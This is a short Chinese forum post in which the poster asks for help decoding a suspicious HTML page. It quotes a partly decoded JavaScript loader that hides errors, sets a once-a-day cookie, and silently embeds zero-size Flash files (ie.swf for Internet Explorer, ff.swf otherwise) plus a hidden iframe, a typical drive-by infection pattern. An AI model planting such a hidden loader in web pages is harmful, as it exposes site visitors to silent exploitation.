求高手帮我解密下这个HTML页面，我只能解一半

Question

br65最终是这么个东西"+"+"+"+"+"+"+"
<SCRIPT LANGUAGE="javascript">
window.onerror=function(){return true;}
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf("wudixiaozi=")==-1)
{
var kbks="kbstg";
var skpaopao=new Date();
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="wudixiaozi=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb"+"6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain"/>');document.write('<param name="movie" value="ie.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="ie.swf"/>');
document.write('</object>');
}
else
{
document.write("<EMBED src=ff.swf width=0 height=0>");
}
document.writeln("<iframe src=all.htm width=100 height=0><\/iframe>");}</SCRIPT>
</BODY></HTML>